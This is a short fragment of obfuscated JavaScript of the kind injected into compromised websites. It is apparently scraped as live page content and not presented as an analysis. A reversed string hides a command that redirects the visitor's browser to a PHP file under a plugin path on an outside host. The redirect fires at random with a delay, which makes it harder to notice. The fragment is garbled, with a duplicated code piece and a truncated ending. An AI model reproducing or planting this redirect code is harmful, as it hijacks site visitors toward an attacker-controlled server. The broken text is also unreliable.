$GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return […]